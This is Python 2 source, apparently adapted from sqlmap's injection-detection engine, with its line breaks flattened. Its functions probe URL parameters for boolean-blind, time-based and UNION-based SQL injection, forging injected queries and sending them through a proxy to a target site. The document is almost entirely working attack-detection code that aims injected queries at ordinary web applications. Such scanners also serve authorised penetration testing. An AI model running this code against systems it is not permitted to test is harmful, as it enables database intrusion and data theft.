def checkDynParam_t(place, url_test, uri, paramDict, parameters, parameter, value): dynResult = None randInt = randomInt() try: payload = agent.payload_t(paramDict, parameters, place, parameter, value, getUnicode(randInt)) if (payload): url = "%s?%s" % (uri, payload) firstreponse = proxyqueryPage(url) dynResult = url_test.comparison(firstreponse.getdata()) if not dynResult: #生成随机数 拼接成url 尝试两个不同的随机匹配结果 randInt = randomInt() payload = agent.payload_t(paramDict, parameters, place, parameter, value, getUnicode(randInt)) if (payload): url = "%s?%s" % (uri, payload) secondreponse = proxyqueryPage(url) dynResult = url_test.comparison(secondreponse.getdata()) except Exception as ex: print ex result = None if dynResult is None else not dynResult return result
def heuristicCheckSqlInjection(place, parameter, paramDict, parameters): origValue = paramDict[place][parameter] randStr = "" while '\'' not in randStr: randStr = randomStr(length=10, alphabet=HEURISTIC_CHECK_ALPHABET) payload = agent.payload_t(paramDict, parameters, place, parameter, newValue=randStr) #payload = agent.payload(place, key, addValue=randStr) if (payload): url = "%s?%s" % (conf.url, payload) response = proxyqueryPage(url) page = response.getdata() handler = HTMLHandler(page) parseXmlFile(conf.errorsXML, handler) if conf.ErrorPage: return True else: return False
def _orderByTest(cols): query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload_t(paramDict, parameters, place, parameter, newValue=query, where=where) url = "%s?%s" % (conf.url, payload) response = proxyqueryPage(url) page = response.getdata() code = response.getstatus() return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) and checkComparison(page, kb.pageTemplate) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None
def checkTimeBasedCompare(value, url): start = time.time() value = agent.adjustLateValues(value) value = "%s%s%s" % (PAYLOAD_DELIMITER, value, PAYLOAD_DELIMITER) payload = agent.extractPayload(value) url = "%s?%s" % (url, payload) response = proxyqueryPage(url) # code = response.getstatus() lastQueryDuration = calculateDeltaSeconds(start) deviation = stdev(kb.responseTimes) if deviation: # if len(kb.responseTimes) < MIN_TIME_RESPONSES: # warnMsg = "time-based standard deviation method used on a model " # warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES # print warnMsg lowerStdLimit = average( kb.responseTimes) + TIME_STDEV_COEFF * deviation # print lastQueryDuration,lowerStdLimit,MIN_VALID_DELAYED_RESPONSE retVal = (lastQueryDuration >= max(MIN_VALID_DELAYED_RESPONSE, lowerStdLimit)) return retVal
def checkDynParam(place, parameter, value): """ This function checks if the URL parameter is dynamic. If it is dynamic, the content of the page differs, otherwise the dynamicity might depend on another parameter. place """ #if kb.redirectChoice: # return None paramString = place['paramstring'] #dynResult = None #randInt = randomInt() #infoMsg = "testing if %s parameter '%s' is dynamic" % #(str(type(paramType)), parameter) #logger.info(infoMsg) payload = "" randstr = "" length = len(value) try: #FixME:这个可以优化掉 response = proxyqueryPage(place['uri']) httpCode = response.getstatus() page = response.getdata() if all(c in "0123456789.+-" for c in value): randstr = str(randomInt(length=length)) else: randstr = randomStr(length=length) payload = agent.payload(place, parameter, value, randstr) url = place['uri'].replace(paramString, payload) reponse = proxyqueryPage(url) firstPage = reponse.getdata() firstCode = reponse.getstatus() #second Page if all(c in "0123456789.+-" for c in value): randstr = str(randomInt(length=length)) else: randstr = randomStr(length=length) payload = agent.payload(place, parameter, '', randstr) url = place['uri'].replace(paramString, payload) reponse = queryPage(url) secondPage = reponse.getdata() secondCode = reponse.getstatus() ratio1 = diffRatio(page, firstPage) ratio2 = diffRatio(page, secondPage) if ratio1 > UPPER_RATIO_BOUND_DYN and ratio2 > UPPER_RATIO_BOUND_DYN: if secondCode == firstCode and httpCode == firstCode: if diffRatio(firstPage, secondPage) > UPPER_RATIO_BOUND: return True else: return False else: return False else: return False except: print 'Excepiton occurred url:{0}'.format(place['uri'].replace( paramString, payload)) return False
def _unionPosition(comment, place, parameter, prefix, suffix, count, paramDict, parameters, where=PAYLOAD.WHERE.ORIGINAL): validPayload = None vector = None positions = [_ for _ in xrange(0, count)] # Unbiased approach for searching appropriate usable column random.shuffle(positions) for charCount in (UNION_MIN_RESPONSE_CHARS << 2, UNION_MIN_RESPONSE_CHARS): if vector: break # For each column of the table (# of NULL) perform a request using # the UNION ALL SELECT statement to test it the target URL is # affected by an exploitable union SQL injection vulnerability for position in positions: # Prepare expression with delimiters randQuery = randomStr(charCount) phrase = ("%s%s%s" % (kb.chars.start, randQuery, kb.chars.stop)).lower() randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) randQueryUnescaped = _escape(randQueryProcessed) # Forge the union SQL injection request query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload_t(paramDict, parameters, place, parameter, newValue=query, where=where) url = "%s?%s" % (conf.url, payload) response = proxyqueryPage(url) page = response.getdata() headers = response.getheaders() # Perform the request content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(str(headers if headers else None), payload, True) or "")).lower() if content and phrase in content: validPayload = payload kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1 vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, False) if where == PAYLOAD.WHERE.ORIGINAL: # Prepare expression with delimiters randQuery2 = randomStr(charCount) phrase2 = ("%s%s%s" % (kb.chars.start, randQuery2, kb.chars.stop)).lower() randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) randQueryUnescaped2 = _escape(randQueryProcessed2) # Confirm that it is a full union SQL injection query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2) payload = agent.payload_t(paramDict, parameters, place, parameter, newValue=query, where=where) url = "%s?%s" % (conf.url, payload) response = proxyqueryPage(url) page = response.getdata() headers = response.getheaders() content = ("%s%s" % (page or "", str(headers if headers else None) or "")).lower() if not all(_ in content for _ in (phrase, phrase2)): vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True) elif not kb.unionDuplicates: fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr()) # Check for limited row output query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable) payload = agent.payload_t(paramDict, parameters, place, parameter, newValue=query, where=where) url = "%s?%s" % (conf.url, payload) response = proxyqueryPage(url) page = response.getdata() headers = response.getheaders() # Perform the request content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(str(headers if headers else None), payload, True) or "")).lower() if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER: warnMsg = "output with limited number of rows detected. Switching to partial mode" print (warnMsg) vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True) unionErrorCase = kb.errorIsNone if unionErrorCase and count > 1: warnMsg = "combined UNION/error-based SQL injection case found on " warnMsg += "column %d. sqlmap will try to find another " % (position + 1) warnMsg += "column with better characteristics" print(warnMsg) else: break return validPayload, vector
def checkSqlInjection(place, parameter, value, paramDict, parameters, url_test): injection = InjectionDict() tests_check = getSortedInjectionTests() seenPayload = set() extendTests = kb.dbms reduceTests = kb.dbms while conf.tests: test = conf.tests.pop(0) title = test.title clause = test.clause stype = test.stype # print title injection.dbms = kb.dbms if stype == PAYLOAD.TECHNIQUE.UNION: if "[CHAR]" in title: continue elif "[RANDNUM]" in title or "(NULL)" in title: title = title.replace("[RANDNUM]", "random number") if test.request.columns == "[COLSTART]-[COLSTOP]": continue match = re.search(r"(\d+)-(\d+)", test.request.columns) if injection.data and match: lower, upper = int(match.group(1)), int(match.group(2)) for _ in (lower, upper): if _ > 1: unionExtended = True test.request.columns = re.sub(r"\b%d\b" % _, str(2 * _), test.request.columns) title = re.sub(r"\b%d\b" % _, str(2 * _), title) test.title = re.sub(r"\b%d\b" % _, str(2 * _), test.title) if injection.data and stype in injection.data: continue # Parse DBMS-specific payloads' details if "details" in test and "dbms" in test.details: payloadDbms = test.details.dbms else: payloadDbms = None if payloadDbms is not None: if reduceTests and not intersect(payloadDbms, reduceTests, True): continue comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None fstPayload = agent.cleanupPayload(test.request.payload, origValue=value) if value.isdigit(): conf.boundaries = sorted(copy.deepcopy(conf.boundaries), key=lambda x: any(_ in (x.prefix or "") or _ in (x.suffix or "") for _ in ('"', '\''))) for boundary in conf.boundaries: injectable = False if boundary.level > 1: continue clauseMatch = False for clauseTest in test.clause: if clauseTest in boundary.clause: clauseMatch = True break if test.clause != [0] and boundary.clause != [0] and not clauseMatch: continue whereMatch = False for where in test.where: if where in boundary.where: whereMatch = True break if not whereMatch: continue # Parse boundary's <prefix>, <suffix> and <ptype> prefix = boundary.prefix if boundary.prefix else "" suffix = boundary.suffix if boundary.suffix else "" ptype = boundary.ptype condBound = (injection.prefix is not None and injection.suffix is not None) condBound &= (injection.prefix != prefix or injection.suffix != suffix) condType = injection.ptype is not None and injection.ptype != ptype if stype != PAYLOAD.TECHNIQUE.QUERY and (condBound or condType): continue for where in test.where: templatePayload = None vector = None # Threat the parameter original value according to the # test's <where> tag if where == WHERE.ORIGINAL: origValue = value templatePayload = None if fstPayload: boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause) boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where) reqPayload = agent.payload_t(paramDict, parameters, place, parameter, newValue=boundPayload, where=where) if reqPayload: if reqPayload in seenPayload: continue else: seenPayload.add(reqPayload) else: reqPayload = None for method, check in test.response.items(): check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None) # In case of boolean-based blind SQL injection if method == PAYLOAD.METHOD.COMPARISON: def genCmpPayload(): sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None) # Forge response payload by prepending with # boundary's prefix and appending the # boundary's # suffix to the test's ' <payload><comment> ' # string boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause) boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where) cmpPayload = agent.payload_t(paramDict, parameters, place, parameter, newValue=boundPayload, where=where) return cmpPayload if(genCmpPayload()): url = "%s?%s" % (conf.url, genCmpPayload()) falseResponse = proxyqueryPage(url) falsePage = falseResponse.getdata() if(reqPayload): url = "%s?%s" % (conf.url, reqPayload) trueResponse = proxyqueryPage(url) truePage = trueResponse.getdata() trueResult = url_test.comparison(truePage) if trueResult and not(truePage == falsePage): if(genCmpPayload()): url = "%s?%s" % (conf.url, genCmpPayload()) falseResponse = proxyqueryPage(url) falsePage = falseResponse.getdata() falseResult = url_test.comparison(falsePage) if not falseResult: injectable = True if not injectable: trueSet = set(extractTextTagContent(truePage)) falseSet = set(extractTextTagContent(falsePage)) candidates = filter(None, (_.strip() if _.strip() in (url_test.firstPage or "") and _.strip() not in falsePage and _.strip() else None for _ in (trueSet - falseSet))) if candidates: injectable = True # In case of time-based blind or stacked queries # SQL injections elif method == PAYLOAD.METHOD.TIME: # Perform the test's request trueResult = checkTimeBasedCompare(reqPayload, conf.url) # trueResult = True if trueResult: if SLEEP_TIME_MARKER in reqPayload: falseResult = checkTimeBasedCompare(reqPayload.replace(SLEEP_TIME_MARKER, "0"), conf.url) if falseResult: continue # Confirm test's results trueResult = checkTimeBasedCompare(reqPayload, conf.url) if trueResult: # infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title) # print infoMsg injectable = True # In case of UNION query SQL injection elif method == PAYLOAD.METHOD.UNION: # Test for UNION injection and set the sample # payload as well as the vector. # NOTE: vector is set to a tuple with 6 elements, # used afterwards by Agent.forgeUnionQuery() # method to forge the UNION query payload configUnion(test.request.char, test.request.columns) # # Test for UNION query SQL injection reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix,paramDict,parameters) if isinstance(reqPayload, six.string_types): injectable = True # Overwrite 'where' because it can be set # by unionTest() directly where = vector[6] if injectable is True: if injection.place is None or injection.parameter is None: if place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST): injection.parameter = place else: injection.parameter = parameter injection.place = place injection.ptype = ptype injection.prefix = prefix injection.suffix = suffix injection.clause = clause if hasattr(test, "details"): for dKey, dValue in test.details.items(): if dKey == "dbms": injection.dbms = dValue if not isinstance(dValue, list): Backend.setDbms(dValue) else: Backend.forceDbms(dValue[0], True) elif dKey == "dbms_version" and injection.dbms_version is None: injection.dbms_version = Backend.setVersion(dValue) # elif dKey == "os" and injection.os is None: # injection.os = Backend.setOs(dValue) if vector is None and "vector" in test and test.vector is not None: vector = test.vector injection.data[stype] = AttribDict() injection.data[stype].title = title injection.data[stype].payload = reqPayload injection.data[stype].where = where injection.data[stype].vector = vector injection.data[stype].comment = comment injection.data[stype].templatePayload = templatePayload break if injectable is True: print injection.data[stype]